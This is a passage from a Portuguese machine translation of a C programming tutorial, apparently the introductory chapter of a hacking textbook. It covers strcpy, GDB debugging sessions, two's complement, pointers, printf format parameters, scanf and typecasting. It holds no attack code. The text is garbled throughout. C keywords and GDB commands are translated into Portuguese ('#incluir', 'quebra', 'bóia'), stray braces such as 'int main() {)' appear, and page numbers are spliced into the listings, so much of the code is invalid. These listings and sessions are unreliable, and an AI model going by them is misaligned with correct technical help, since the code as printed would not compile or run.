usando strcpy() para realizar a mesma coisa usando a biblioteca</p><p>de string. A próxima versão do programa char_array mostrada abaixo inclui</p><p>string.h já que ele usa uma função string.</p><p>char_array2.c</p><p>#include <stdio.h></p><p>#include <string.h></p><p>int main() {</p><p>char str_a[20];</p><p>strcpy(str_a, "Olá, mundo!\n");</p><p>printf(str_a);</p><p>}</p><p>Vamos dar uma olhada neste programa com a GDB. Na saída abaixo, o</p><p>programa compilado é aberto com GDB e os pontos de parada são definidos</p><p>antes, dentro e depois da chamada</p>
<p>strcpy() mostrada em negrito. O depurador</p><p>irá pausar o programa em cada ponto de interrupção, dando-nos a</p><p>oportunidade de examinar registros e memória. O código da função strcpy()</p><p>vem de uma biblioteca compartilhada, portanto o ponto de interrupção nesta</p><p>função não pode ser definido até que o programa seja executado.</p><p>reader@hacking:~/booksrc $ gcc -g -o char_array2 char_array2.c</p><p>reader@hacking:~/booksrc $ gdb -q ./char_array2</p><p>Usando a biblioteca host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1". (gdb)</p><p>lista</p><p>1 #include <stdio.h></p><p>2 #incluir <string.h></p><p>3</p><p>4 int main() {)</p><p>5 char str_a[20];</p><p>6</p><p>7 strcpy(str_a, "Olá, mundo!\n");</p><p>8 printf(str_a);</p><p>9 }</p><p>(gdb) quebra 6</p><p>Ponto de parada 1 em 0x80483c4: arquivo char_array2.c,</p><p>Programação 47</p><p>linha 6. (gdb) break strcpy</p><p>48 0 x 2</p><p>0 0</p><p>Função "strcpy" não definida.</p><p>Fazer um ponto de parada pendente na futura carga da biblioteca</p><p>compartilhada? (y ou [n]) y Pendente do ponto de parada 2 (strcpy).</p><p>(gdb) quebra 8</p><p>Ponto de parada 3 em 0x80483d7: arquivo char_array2.c,</p><p>linha 8. (gdb)</p><p>Quando o programa é executado, o ponto de parada strcpy() é resolvido.</p><p>Em cada ponto de parada, vamos olhar a EIP e as instruções para as quais ela</p><p>aponta. Observe que a localização da memória para EIP no ponto de parada do</p><p>meio é diferente.</p><p>(gdb) funcionar</p><p>Programa inicial: /home/reader/bookrc/char_array2 Breakpoint 4</p><p>a 0xb7f076f4</p><p>Pendente do ponto de parada "strcpy" resolvido</p><p>Ponto de parada 1, principal () em char_array2.c:7</p><p>7 strcpy(str_a, "Olá, mundo!\n");</p><p>(gdb) i r eip</p><p>eip 0x80483c40x80483c4</p><p><main+16> (gdb) x/5i $eip</p><p>0x80483c4 <main+16>: mov DWORD PTR [esp+4],0x80484c4</p><p>0x80483cc <main+24>: lea eax,[ebp-40]</p><p>0x80483cf <main+27>: mov DWORD PTR [esp],eax</p><p>0x80483d2 <main+30>: ligu</p><p>e</p><p>par</p><p>a</p><p>0x80482c4 <strcpy@plt></p><p>0x80483d7 <main+35>: lea eax,[ebp-40]</p><p>(gdb) continuar</p><p>Continuando.</p><p>Breakpoint 4, 0xb7f076f4 in strcpy () from /lib/tls/i686/cmov/libc.so.6 (gdb) i</p><p>r eip</p><p>eip 0xb7f076f4 0xb7f076f4 <strcpy+4></p><p>(gdb) x/5i $eip</p><p>0xb7f076f4 <strcpy+4>: mov esi,DWORD PTR [ebp+8]</p><p>0xb7f076f7 <strcpy+7>:mov ,DWORDPTR [ebp+12]</p><p>0xb7f076fa <strcpy+10>: mov ecx,esi</p><p>0xb7f076fc <strcpy+12>: sub ecx,eax</p><p>0xb7f076fe <strcpy+14>: mov edx,eax</p><p>(gdb) continue</p><p>Continuando.</p><p>Ponto de parada 3, principal () em char_array2.c:8</p><p>8 printf(str_a);</p><p>(gdb) i r eip</p><p>eip 0x80483d70x80483d7</p><p><main+35> (gdb) x/5i $eip</p><p>0x80483d7 <main+35>: lea eax,[ebp-40] 0x80483da</p><p><main+38>: movDWORD PTR</p><p>[esp],eax 0x80483dd <main+41>>: chamada</p><p>0x80482d4 <printf@plt></p><p>0x80483e2 <main+46>: sair</p><p>Programação 49</p><p>0x80483e3 <main+47>: ret</p><p>(gdb)</p><p>50 0 x 2</p><p>0 0</p><p>O endereço na EIP no ponto de parada central é diferente porque o</p><p>código para a função strcpy() vem de uma biblioteca carregada. Na verdade,</p><p>o depurador mostra a EIP para o ponto de parada médio na função strcpy(),</p><p>enquanto a EIP nos outros dois pontos de parada está na função principal().</p><p>Eu gostaria de salientar que a EIP é capaz de viajar do código principal para</p><p>o código strcpy() e voltar novamente. Cada vez que uma função é chamada,</p><p>um registro é mantido em um dado</p><p>estrutura simplesmente chamada de pilha. A pilha permite que a PEI retorne</p><p>através de longas cadeias de chamadas de funções. No GDB, o comando bt</p><p>pode ser usado para retroceder a pilha. Na saída abaixo, o backtrace da pilha é</p><p>mostrado em cada ponto de parada.</p><p>(gdb) funcionar</p><p>O programa que está sendo depurado já foi iniciado.</p><p>Começar desde o início? (y ou n) y</p><p>Programa inicial: /home/reader/bookrc/char_array2 Erro</p><p>na redefinição do ponto de parada 4:</p><p>Função "strcpy" não definida.</p><p>Ponto de parada 1, principal () em char_array2.c:7</p><p>7 strcpy(str_a, "Olá, mundo!\n");</p><p>(gdb) bt</p><p>#0 principal () em char_array2.c:7</p><p>(gdb) cont</p><p>Continuando.</p><p>Breakpoint 4, 0xb7f076f4 em strcpy () de /lib/tls/i686/cmov/libc.so.6 (gdb) bt</p><p>#0 0xb7f076f4 em strcpy () de /lib/tls/i686/cmov/libc.so.6 #1</p><p>0x080483d7 em principal () em char_array2.c:7</p><p>(gdb) Contínuo.</p><p>Ponto de parada 3, principal () em char_array2.c:8</p><p>8 printf(str_a);</p><p>(gdb) bt</p><p>#0 principal () em char_array2.c:8</p><p>(gdb)</p><p>No ponto de parada do meio, o backtrace da pilha mostra seu registro da</p><p>chamada strcpy(). Além disso, você pode notar que a função strcpy() está em</p><p>um endereço ligeiramente diferente durante a segunda execução. Isto é</p><p>devido a um método de proteção de exploração que é ligado por padrão no</p><p>kernel do Linux desde 2.6.11. Falaremos sobre esta proteção com mais</p><p>detalhes mais tarde.</p><p>0x262 Assinado, Não Assinado, Longo e Curto</p><p>Por padrão, são assinados valores numéricos em C, o que significa que eles</p><p>podem ser tanto negativos quanto positivos. Em contraste, os valores não</p><p>assinados não permitem números negativos. Como no final tudo é apenas</p><p>memória, todos os valores numéricos devem ser armazenados em binário, e</p><p>os valores não assinados fazem mais sentido em binário. Um inteiro de 32 bits</p><p>sem assinatura pode conter valores de 0 (todos os 0s binários) a</p><p>Programação 51</p><p>4.294.967.295 (todos os 1s binários). Um inteiro de 32 bits assinado ainda é</p><p>apenas 32 bits, o que significa que ele pode</p><p>52 0 x 2</p><p>0 0</p><p>estar em apenas uma das 232 possíveis combinações de bits. Isto permite que</p><p>inteiros de 32 bits assinados variem de -2.147.483.648 a 2.147.483.647.</p><p>Essencialmente, um dos bits é uma bandeira que marca o valor positivo ou</p><p>negativo. Valores assinados positivamente</p><p>parecem iguais aos valores não assinados, mas os números negativos são</p><p>armazenados de forma diferente, usando um método chamado complemento</p><p>de dois. O complemento de dois representa números negativos - números</p><p>ativos em uma forma adequada para vendedores binários - quando um valor</p><p>negativo no complemento de dois é adicionado a um número positivo da</p><p>mesma magnitude, o resultado será 0. Isto é feito escrevendo primeiro o</p><p>número positivo em binário, depois invertendo todos os bits, e finalmente</p><p>adicionando 1. Parece estranho, mas funciona e permite que números</p><p>negativos sejam adicionados em combinação com números positivos usando</p><p>adições binárias simples.</p><p>Isto pode ser explorado rapidamente em uma escala menor usando pcalc,</p><p>uma simples calculadora de programador que exibe resultados em formatos</p><p>decimal, hexadecimal e binário. Para simplificar, são usados números de 8</p><p>bits neste exemplo.</p><p>reader@hacking:~/booksrc $ pcalc 0y01001001</p><p>73 0x49 0y1001001</p><p>reader@hacking:~/booksrc $ pcalc 0y10110110 + 1</p><p>183 0xb7 0y10110111</p><p>reader@hacking:~/booksrc $ pcalc 0y01001001001 + 0y10110111</p><p>256 0x100 0y100000000</p><p>reader@hacking:~/booksrc $</p><p>Primeiro, o valor binário 01001001 é mostrado como positivo 73. Em</p><p>seguida, todos os bits são virados, e 1 é adicionado para resultar na</p><p>representação do complemento dos dois para o negativo 73, 10110111.</p><p>Quando estes dois valores são adicionados juntos, o resultado dos 8 bits</p><p>originais é 0. O programa pcalc mostra o valor 256 porque não sabe que</p><p>estamos lidando apenas com valores de 8 bits. Em um binary adder, esse bit</p><p>portador seria simplesmente jogado fora porque o fim da memória do vari-</p><p>capaz teria sido alcançado. Este exemplo pode lançar alguma luz sobre como</p><p>o complemento de dois funciona sua magia.</p><p>Em C, as variáveis podem ser declaradas como não assinadas,</p><p>simplesmente prependendo a palavra-chave não assinada à declaração. Um</p><p>número inteiro sem assinatura seria declarado com int. não assinado. Além</p><p>disso, o tamanho das variáveis numéricas pode ser estendido ou encurtado</p><p>pela adição das palavras-chave longas ou curtas. Os tamanhos reais variam</p><p>dependendo da arquitetura para a qual o código é compilado. O idioma</p><p>do C fornece uma macro chamada tamanho de() que pode determinar o</p><p>tamanho de certos tipos de dados. Isto funciona como uma função que</p><p>toma um tipo de dado como sua entrada e retorna o tamanho de uma</p><p>variável declarada com esse tipo de dado para a arquitetura de destino. O</p><p>programa datatype_sizes.c explora os tamanhos de vários tipos de dados,</p><p>usando a função sizeof().</p><p>datatype_sizes.c</p><p>Programação 53</p><p>#include <stdio.h></p><p>int main() {)</p><p>printf("O tipo de dados 'int' é %d bytes\n", tamanho</p>
<p>do(int));</p><p>54 0 x 2</p><p>0 0</p><p>printf("The 'unsigned int' data type is\t %d bytes\n", sizeof(unsigned int));</p><p>printf("The 'short int' data type is\t %d bytes\n", sizeof(short int));</p><p>printf("O tipo de dados 'longo int' é %d bytes\n", sizeof(long int));</p><p>printf("O tipo de dados 'longo int' é %d bytes\n", sizeof(long long int));</p><p>printf("O tipo de dados 'float' é %d bytes\n", sizeof(float));</p><p>printf("O tipo de dados 'char' é %d bytes\t(char)", tamanho do(char));</p><p>}</p><p>Este pedaço de código utiliza a função printf() de uma maneira</p><p>ligeiramente diferente. Ele usa algo chamado de especificador de formato</p><p>para exibir o valor retornado a partir do tamanho das chamadas de função().</p><p>Os especificadores de formato serão explicados em profundidade mais</p><p>tarde, portanto, por enquanto, vamos apenas nos concentrar na saída do</p><p>programa.</p><p>reader@hacking:~/booksrc $ gcc datatype_sizes.c</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>O tipo de dados 'int' é 4 bytes</p><p>O tipo de dados "int não assinado" é 4</p><p>bytes O tipo de dados "int curto" é</p><p>2 bytes</p><p>O tipo de dados 'longo int' é 4 bytes</p><p>O tipo de dados 'longo int' é 8 bytes O</p><p>tipo de dados 'float' é 4 bytes</p><p>O tipo de dados 'char' é 1 bytes</p><p>reader@hacking:~/booksrc $</p><p>Como foi dito anteriormente, tanto os inteiros assinados como os não</p><p>assinados têm quatro bytes de tamanho na arquitetura x 86. Um carro</p><p>alegórico também é de quatro bytes, enquanto um char somente precisa de</p><p>um único byte. As palavras-chave longas e curtas também podem ser usadas</p><p>com variáveis de ponto flutuante para estender e encurtar seus tamanhos.</p><p>0x263 Ponteiros</p><p>O registro EIP é um ponteiro que "aponta" para a instrução atual durante a</p><p>execução de um programa ao conter seu endereço de memória. A idéia de</p><p>apontadores é usada também em C. Como a memória física não pode</p><p>realmente ser movida, as informações nela contidas devem ser copiadas.</p><p>Pode ser muito dispendioso copiar grandes pedaços de memória para serem</p><p>usados por diferentes funções ou em diferentes lugares. Isto também é caro</p><p>do ponto de vista da memória, pois o espaço para a nova cópia de destino</p><p>deve ser guardado ou alocado antes que a fonte possa ser copiada. Os</p><p>apontadores são uma solução para este problema. Em vez de copiar um</p><p>grande bloco de memória, é muito mais simples passar o endereço do início</p><p>desse bloco de memória.</p><p>Os ponteiros em C podem ser definidos e utilizados como qualquer outro</p><p>tipo de variável. Como a memória na arquitetura x 86 usa endereçamento de</p><p>32 bits, os ponteiros também têm 32 bits de tamanho (4 bytes). Os ponteiros</p><p>são definidos através da preposição de um asterisco (*) ao nome da variável.</p><p>Programação 55</p><p>Em vez de definir uma variável desse tipo, um ponteiro é definido como algo</p><p>que aponta para dados desse tipo. O programa pointer.c é um exemplo de</p><p>um ponteiro sendo usado com o tipo de dado char, que é apenas 1 byte em</p><p>tamanho.</p><p>56 0 x 2</p><p>0 0</p><p>pointer.c</p><p>#include <stdio.h></p><p>#include <string.h></p><p>int main() {)</p><p>char str_a[20]; // Uma matriz de caracteres de 20 elementos</p><p>char *pointer; // Um ponteiro, destinado a uma matriz de</p><p>caracteres char *pointer2; // E ainda outro</p><p>strcpy(str_a, "Olá, mundo!\n");</p><p>pointer = str_a; // Ajuste o primeiro ponteiro para o início da matriz.</p><p>printf(ponteiro);</p><p>pointer2 = ponteiro + 2; // Coloque o segundo 2 bytes mais adiante</p><p>em. printf(pointer2); // Imprima-o.</p><p>strcpy(pointer2, "y you guys!\n"); // Copy into that spot.</p><p>printf(pointer); // Imprima novamente.</p><p>}</p><p>Como os comentários no código indicam, o primeiro ponteiro é colocado</p><p>no início da matriz de caracteres. Quando a matriz de caracteres é</p><p>referenciada desta forma, ela é na verdade um ponteiro em si. Foi assim que</p><p>este buffer foi passado como um ponteiro para as funções printf() e strcpy()</p><p>mais cedo. O segundo ponteiro é definido para o endereço do primeiro</p><p>ponteiro mais dois, e então algumas coisas são impressas (mostradas na saída</p><p>abaixo).</p><p>reader@hacking:~/booksrc $ gcc -o pointer pointer.c</p><p>reader@hacking:~/booksrc $ ./pointer</p><p>Olá, mundo!</p><p>llo, mundo!</p><p>Olá, pessoal!</p><p>reader@hacking:~/booksrc $</p><p>Vamos dar uma olhada nisto com a GDB. O programa é recompilado,</p><p>e um ponto de parada é definido na décima linha do código fonte. Isto irá</p><p>parar o programa após a string "Olá, mundo!\n" ter sido copiada para o</p><p>buffer str_a e a variável ponteiro estiver definida para o início do mesmo.</p><p>reader@hacking:~/booksrc $ gcc -g -o pointer pointer.c</p><p>reader@hacking:~/booksrc $ gdb -q ./pointer</p><p>Usando a biblioteca host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".</p><p>(gdb) lista</p><p>1 #include <stdio.h></p><p>2 #incluir <string.h></p><p>3</p><p>4 int main() {)</p><p>5 char str_a[20]; // Uma matriz de caracteres de 20 elementos</p><p>6 char *pointer; // Um ponteiro, destinado a uma matriz de caracteres</p><p>Programação 57</p><p>7 char *pointer2; // E ainda outro 8</p><p>9 strcpy(str_a, "Olá, mundo!\n");</p><p>10 ponteiro = str_a; // Defina o primeiro ponteiro para o início da</p><p>matriz. (gdb)</p><p>11 printf(ponteiro);</p><p>12</p><p>13 ponteiro2 = ponteiro + 2; // Coloque o segundo 2 bytes mais para</p><p>dentro.</p><p>14 printf(pointer2); // Imprima-o.</p><p>15 strcpy(pointer2, "y you guys!\n"); // Copiar para aquele lugar.</p><p>16 printf(ponteiro); // Imprimir novamente.</p><p>17 }</p><p>(gdb) quebra 11</p><p>Ponto de parada 1 em 0x80483dd: file pointer.c, linha</p><p>11. (gdb) rodar</p><p>Programa inicial: /home/reader/bookrc/pointerizador</p><p>Ponto de parada 1, principal () em pointer.c:11</p><p>11 printf(ponteiro);</p><p>(gdb) x/xw ponteiro</p><p>0xbffff7e0: 0x6c6c6548</p><p>(gdb) x/s ponteiro</p><p>0xbffff7e0: "Olá, mundo!\n"</p><p>(gdb)</p><p>Quando o ponteiro é examinado como um fio, é aparente que o fio dado</p><p>está lá e está localizado no endereço de memória 0xbffff7e0. Lembre-se que a</p><p>corda em si não é armazenada no ponteiro variável apenas o endereço de</p><p>memória 0xbffff7e0 é armazenado lá.</p><p>Para ver os dados reais armazenados na variável ponteiro, você deve usar</p><p>os endereços do operador. O endereço do operador é um operador unário, o</p><p>que significa simplesmente que ele opera com base em um único argumento.</p><p>Este operador é apenas um sinal (&) prepenso a um nome de variável.</p><p>Quando é usado, o endereço dessa variável é devolvido, ao invés da própria</p><p>variável. Este operador existe tanto no GDB quanto na linguagem de</p><p>programação C.</p><p>(gdb) x/xw &pointer</p><p>0xbffff7dc: 0xbffff7e0</p><p>(gdb) impressão & ponteiro</p><p>$1 = (char **) 0xbffff7dc</p><p>(gdb) ponteiro de</p><p>impressão</p><p>$2 = 0xbffff7e0 "Olá, mundo!\n" (gdb)</p><p>Quando o endereço do operador é usado, a variável ponteiro é</p><p>mostrada para ser localizada no endereço 0xbffff7dc na memória, e contém</p><p>o endereço 0xbffff7e0.</p><p>Os endereços dos operadores são freqüentemente usados em conjunto com</p><p>apontadores, uma vez que os apontadores contêm endereços de memória. O</p><p>programa addressof.c demonstra os endereços do operador sendo usado para</p><p>colocar o endereço de uma variável inteira em um ponteiro. Esta linha é</p><p>58 0 x 2</p><p>0 0</p><p>mostrada em negrito abaixo.</p><p>Programação 59</p><p>addressof.c</p><p>#include <stdio.h></p><p>int main() {</p><p>int int_var = 5;</p><p>int *int_ptr;</p><p>int_ptr = &int_var; // colocar o endereço de int_var em int_ptr</p><p>}</p><p>O programa em si não produz nada, mas você provavelmente pode</p><p>adivinhar o que acontece, mesmo antes da depuração com a GDB.</p><p>reader@hacking:~/booksrc $ gcc -g addressof.c</p><p>reader@hacking:~/booksrc $ gdb -q ./a.out</p><p>Usando a biblioteca host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".</p><p>(gdb) lista</p><p>1 #include <stdio.h></p><p>2</p><p>3 int main() {)</p><p>4 int int_var = 5;</p><p>5 int *int_ptr;</p><p>6</p><p>7 int_ptr = &int_var; // Coloque o endereço de int_var em int_ptr.</p><p>8 }</p><p>(gdb) quebra 8</p><p>Ponto de parada 1 em 0x8048361: endereço do</p><p>arquivof.c, linha 8. (gdb) rodar</p><p>Programa inicial: /home/leitor/ livrorc/a.out</p><p>Ponto de parada 1, principal () em addressof.c:8</p><p>8 }</p><p>(gdb) imprimir int_var</p><p>$1 = 5</p><p>(gdb) print &int_var</p><p>$2 = (int *) 0xbffff804</p><p>(gdb) imprimir int_ptr</p><p>$3 = (int *) 0xbffff804</p><p>(gdb) print &int_ptr</p><p>$4 = (int **) 0xbffff800</p><p>(gdb)</p><p>Como de costume, um ponto de parada é definido e o programa é</p><p>executado no depurador. Neste ponto, a maioria do programa já foi</p><p>executada. O primeiro comando de impressão mostra o valor de int_var, e o</p>
<p>segundo mostra seu endereço usando o endereço do operador. Os dois</p><p>comandos de impressão seguintes mostram que int_ptr contém o endereço</p><p>de int_var, e eles também mostram o endereço do int_ptr para uma boa</p><p>medida.</p><p>60 0 x 2</p><p>0 0</p><p>Existe um operador unário adicional chamado operador de</p><p>desreferenciamento para uso com apontadores. Este operador retornará os</p><p>dados encontrados no endereço para o qual o ponteiro está apontando, ao invés</p><p>do endereço em si. Ele toma a forma de um asterisco na frente do nome da</p><p>variável, semelhante à declaração de um ponteiro. Mais uma vez, o operador de</p><p>dereferência existe tanto em GDB quanto em C. Utilizado em GDB, ele pode</p><p>recuperar o valor inteiro int_ptr points to.</p><p>(gdb) imprimir *int_ptr</p><p>$5 = 5</p><p>Algumas adições ao código addressof.c (mostrado em addressof2.c)</p><p>demonstrarão todos estes conceitos. As funções printf() adicionadas utilizam</p><p>parâmetros de formato, que explicarei na próxima seção. Por enquanto,</p><p>basta focar na saída do programa.</p><p>addressof2.c</p><p>#include <stdio.h></p><p>int main() {)</p><p>int int_var = 5;</p><p>int *int_ptr;</p><p>int_ptr = &int_var; // Coloque o endereço de int_var em int_ptr.</p><p>printf("int_ptr = 0x%08x\n", int_ptr);</p><p>printf("&int_ptr = 0x%08x\n", &int_ptr); printf("*int_ptr</p><p>= 0x%08x\n", *int_ptr);</p><p>printf("int_var está localizado a 0x%08x e contém %d\n", &int_var, int_var);</p><p>printf("int_ptr está localizado a 0x%08x, contém 0x%08x, e aponta para %d\n",</p><p>&int_ptr, int_ptr, *int_ptr);</p><p>}</p><p>Os resultados da compilação e execução do addressof2.c são os seguintes.</p><p>reader@hacking:~/booksrc $ gcc addressof2.c</p><p>reader@hacking:~/booksrc $ ./a.out</p><p>int_ptr = 0xbffff834</p><p>&int_ptr = 0xbffff830</p><p>*int_ptr = 0x00000005</p><p>int_var está localizado em 0xbffff834 e contém 5</p><p>int_ptr está localizado em 0xbffff830, contém 0xbffff834, e aponta para 5</p><p>reader@hacking:~/booksrc $</p><p>Quando os operadores unários são utilizados com apontadores, os</p><p>endereços de operação- ator podem ser pensados como se movendo para</p><p>trás, enquanto o operador de desreferência move-se para frente na direção</p><p>que o apontador está apontando.</p><p>Programação 61</p><p>0x264 Formato Strings</p><p>A função printf() pode ser usada para imprimir mais do que apenas cordas fixas.</p><p>Esta função também pode usar cordas de formato para imprimir variáveis em</p><p>muitos for- mats diferentes. Uma cadeia de caracteres de formatação é apenas</p><p>uma cadeia de caracteres com seqüências de escape especiais que dizem à</p><p>função para inserir variáveis impressas em um formato específico no lugar da</p><p>seqüência de escape. A forma como a função printf() tem sido usada nos</p><p>programas anteriores, a string "Olá, mundo!\n" tecnicamente é a string de</p><p>formato; no entanto, ela é desprovida de seqüências de escape especiais. Estas</p><p>seqüências de escape também são chamadas de parâmetros de formato, e para</p><p>cada uma encontrada na seqüência de formato, espera-se que a função leve um</p><p>argumento adicional. Cada parâmetro de formato começa com um sinal de</p><p>porcentagem (%) e usa um caractere único e muito semelhante aos caracteres de</p><p>formatação usados pelo comando examine da GDB.</p><p>Parâmetro Tipo de saída</p><p>%d Decimal</p><p>%u Decimais não assinados</p><p>%x Hexadecimal</p><p>Todos os parâmetros do formato anterior recebem seus dados como</p><p>valores, não como indicações de valores. Há também alguns parâmetros de</p><p>formato que esperam indicações, tais como os seguintes.</p><p>Parâmetro Tipo de saída</p><p>%s Cordão</p><p>%n Número de bytes escritos até o momento</p><p>O parâmetro de formato %s espera receber um endereço de memória;</p><p>ele imprime os dados nesse endereço de memória até que um byte nulo seja</p><p>encontrado. O parâmetro de formato %n é único no sentido de que ele</p><p>realmente escreve os dados. Ele também espera receber um endereço de</p><p>memória, e escreve o número de bytes que foram escritos até agora nesse</p><p>endereço de memória.</p><p>Por enquanto, nosso foco será apenas os parâmetros de formato utilizados</p><p>para a exibição dos dados. O programa fmt_strings.c mostra alguns exemplos</p><p>de parâmetros de formato diferentes.</p><p>fmt_strings.c</p><p>#include <stdio.h></p><p>int main() {)</p><p>fio de</p><p>carvão[10]; int A</p><p>= -73;</p><p>não assinado em B = 31337;</p><p>62 0 x 2</p><p>0 0</p><p>strcpy(string, "amostra");</p><p>Programação 63</p><p>// Exemplo de impressão com diferentes formatos de</p><p>impressão de cordas("[A] Dez: %d, Hex: %x, Unsigned:</p><p>%u\n", A, A, A);</p><p>printf("[B] Dez: %d, Hex: %x, Unsigned: %u\n", B, B, B);</p><p>printf("[largura do campo em B] 3: '%3u', 10: '%10u', '%08u'\n", B, B, B);</p><p>printf("[string] %s Endereço %08x\n", string, string);</p><p>// Exemplo de operador de endereço unário (desreferenciamento) e um</p><p>formato %x impressão de cadeia de caracteres ("variável A está no endereço:</p><p>%08x\n", &A);</p><p>}</p><p>No código anterior, argumentos variáveis adicionais são passados para</p><p>cada chamada de impressão() para cada parâmetro de formato na cadeia</p><p>de formato. A chamada final printf() usa o argumento &A, que fornecerá o</p><p>endereço da variável A. A compilação e execução do programa são as</p><p>seguintes.</p><p>reader@hacking:~/booksrc $ gcc -o fmt_strings fmt_strings.c</p><p>reader@hacking:~/booksrc $ ./fmt_strings</p><p>[A] Dez: -73, Hex: ffffffb7, Unsigned: 4294967223</p><p>[B] Dez: 31337, Hex: 7a69, Sem assinatura: 31337</p><p>[largura do campo em B] 3: '31337', 10: ' 31337', '00031337'</p><p>[string] exemplo Endereço bffffff870</p><p>variável A está no endereço:</p><p>bffffff86c reader@hacking:~/booksrc $</p><p>As duas primeiras chamadas para impressão() demonstram a impressão das</p><p>variáveis A e B, usando parâmetros de formato diferentes. Como existem três</p><p>parâmetros de formato em cada linha, as variáveis A e B precisam ser fornecidas</p><p>três vezes cada uma. O</p><p>O parâmetro de formato %d permite valores negativos, enquanto que %u não</p><p>permite, uma vez que espera valores não assinados.</p><p>Quando a variável A é impressa usando o parâmetro de formato %u, ela</p><p>aparece como um valor muito alto. Isto ocorre porque A é um número</p><p>negativo armazenado no complemento de dois, e o parâmetro de formato</p><p>está tentando imprimi-lo como se fosse um valor não assinado. Como o</p><p>complemento de dois inverte todos os bits e adiciona um, os bits muito altos</p><p>que antes eram zero, agora são um.</p><p>A terceira linha do exemplo, rotulada [largura de campo em B], mostra o</p><p>uso da opção de largura de campo em um parâmetro de formato. Este é</p><p>apenas um número inteiro que designa a largura mínima de campo para</p><p>aquele parâmetro de formato. Entretanto, esta não é uma largura máxima de</p><p>campo - se o valor a ser emitido for maior que a largura do campo, a largura</p><p>do campo será excedida. Isto acontece quando 3 é usado, já que os dados de</p><p>saída precisam de 5 bytes. Quando 10 é usado como largura de campo, 5</p><p>bytes de espaço em branco são emitidos antes dos dados de saída. Além</p><p>disso, se um valor de largura de campo começa com 0, isto significa que o</p><p>campo deve ser preenchido com zeros. Quando 08 é usado, por exemplo, a</p><p>saída é 00031337.</p><p>A quarta linha, rotulada [string], mostra simplesmente o uso do</p><p>64 0 x 2</p><p>0 0</p><p>parâmetro de formato %s. Lembre-se que a variável string é na verdade um</p><p>ponteiro contendo o endereço da string, que funciona maravilhosamente,</p><p>uma vez que o parâmetro de formato %s espera que seus dados sejam</p><p>passados por referência.</p><p>Programação 65</p><p>A linha final mostra apenas o endereço da variável A, utilizando o operador</p><p>de endereço unário para desreferenciar a variável. Este valor é exibido como</p><p>oito dígitos hexadecimais, acolchoados por zeros.</p><p>Como estes exemplos mostram, deve-se usar %d para decimal, %u para</p><p>valores não assinados, e %x para valores hexadecimais. A largura mínima do</p><p>campo pode ser definida colocando um número logo após o sinal de</p><p>porcentagem, e se a largura do campo começar com 0, ele será preenchido</p><p>com zeros. O parâmetro %s pode ser usado para imprimir cadeias de</p><p>caracteres e deve ser passado o endereço da cadeia. Até agora, tudo bem.</p><p>As cadeias de formato são usadas por toda uma família de funções de</p><p>E/S padrão, incluindo scanf(), que basicamente funciona como printf(), mas</p><p>é usado para entrada ao invés de saída. Uma diferença chave é que a</p><p>função scanf() espera que todos os</p>
<p>seus argumentos sejam ponteiros,</p><p>portanto os argumentos devem ser na verdade endereços de variáveis -</p><p>não as variáveis em si. Isto pode ser feito usando variáveis de ponteiro ou</p><p>usando o operador de endereço unário para recuperar o endereço das</p><p>variáveis normais. O programa input.c e a execução devem ajudar a</p><p>explicar.</p><p>input.c</p><p>#include <stdio.h></p><p>#include <string.h></p><p>int main() {)</p><p>mensagem de</p><p>char[10]; int</p><p>count, i;</p><p>strcpy(mensagem, "Olá, mundo!");</p><p>printf("Repetir quantas vezes? ");</p><p>scanf("%d", &count);</p><p>for(i=0; i < conta; i++)</p><p>printf("%3d - %s\n", i, mensagem);</p><p>}</p><p>Em input.c, a função scanf() é usada para definir a variável de contagem. A</p><p>saída abaixo demonstra seu uso.</p><p>reader@hacking:~/booksrc $ gcc -o input input.c</p><p>reader@hacking:~/booksrc $ ./input</p><p>Repetir quantas vezes? 3</p><p>0 - Olá, mundo!</p><p>1 - Olá, mundo!</p><p>2 - Olá, mundo!</p><p>reader@hacking:~/booksrc $ ./input</p><p>Repetir quantas vezes? 12</p><p>0 - Olá, mundo!</p><p>1 - Olá, mundo!</p><p>2 - Olá, mundo!</p><p>66 0 x 2</p><p>0 0</p><p>3 - Olá, mundo!</p><p>4 - Olá, mundo!</p><p>5 - Olá, mundo!</p><p>6 - Olá, mundo!</p><p>Programação 67</p><p>7 - Olá, mundo!</p><p>8 - Olá, mundo!</p><p>9 - Olá, mundo!</p><p>10 - Olá, mundo!</p><p>11 - Olá, mundo!</p><p>reader@hacking:~/booksrc $</p><p>As cordas de formato são usadas com bastante freqüência, portanto, a</p><p>familiaridade com elas é valiosa. Além disso, a capacidade de emitir os</p><p>valores das variáveis permite a depuração no programa, sem o uso de um</p><p>depurador. Ter alguma forma de feedback imediato é bastante vital para o</p><p>processo de aprendizagem do hacker, e algo tão simples quanto imprimir o</p><p>valor de uma variável pode permitir muita exploração.</p><p>0x265 Digitação</p><p>A digitação é simplesmente uma forma de alterar temporariamente o tipo de</p><p>dados de uma variável, apesar de como foi originalmente definida. Quando uma</p><p>variável é digitada em um tipo diferente, o compilador é basicamente instruído a</p><p>tratar aquela variável como se fosse o novo tipo de dado, mas somente para</p><p>aquela operação. A sintaxe para a digitação é</p><p>como se segue:</p><p>(typecast_data_type) variável</p><p>Isto pode ser usado quando se lida com inteiros e variáveis de ponto</p><p>flutuante, como demonstra o typecasting.c.</p><p>typecasting.c</p><p>#include <stdio.h></p><p>int main()</p><p>{ int a, b;</p><p>float c, d;</p><p>a = 13;</p><p>b = 5;</p><p>c = a / b; // Dividir usando números inteiros.</p><p>d = (bóia) a / (bóia) b; // Dividir inteiros datilografados como bóias.</p><p>printf("[inteiros]t a = %d\t b = %d\n", a, b);</p><p>printf("[floats]t c = %f\t d = %f\n", c, d);</p><p>}</p><p>Os resultados da compilação e execução do typecasting.c são os seguintes.</p><p>reader@hacking:~/booksrc $ gcc typecasting.c</p><p>reader@hacking:~/booksrc $ ./a.out [inteiros]a =</p><p>13 b = 5</p><p>[bóias] c = 2.000000 d = 2.600000</p><p>68 0 x 2</p><p>0 0</p><p>reader@hacking:~/booksrc $</p><p>Programação 69</p><p>pointer_types.c</p><p>Como discutido anteriormente, a divisão do número inteiro 13 por 5</p><p>arredondará para a resposta incorreta de 2, mesmo que este valor esteja</p><p>sendo armazenado em uma variável de ponto flutuante. Entretanto, se estas</p><p>variáveis inteiras forem datilografadas em pontos flutuantes, elas serão</p><p>tratadas como tal. Isto permite o cálculo correto de 2,6.</p><p>Este exemplo é ilustrativo, mas onde a digitação realmente brilha é</p><p>quando ela é usada com variáveis 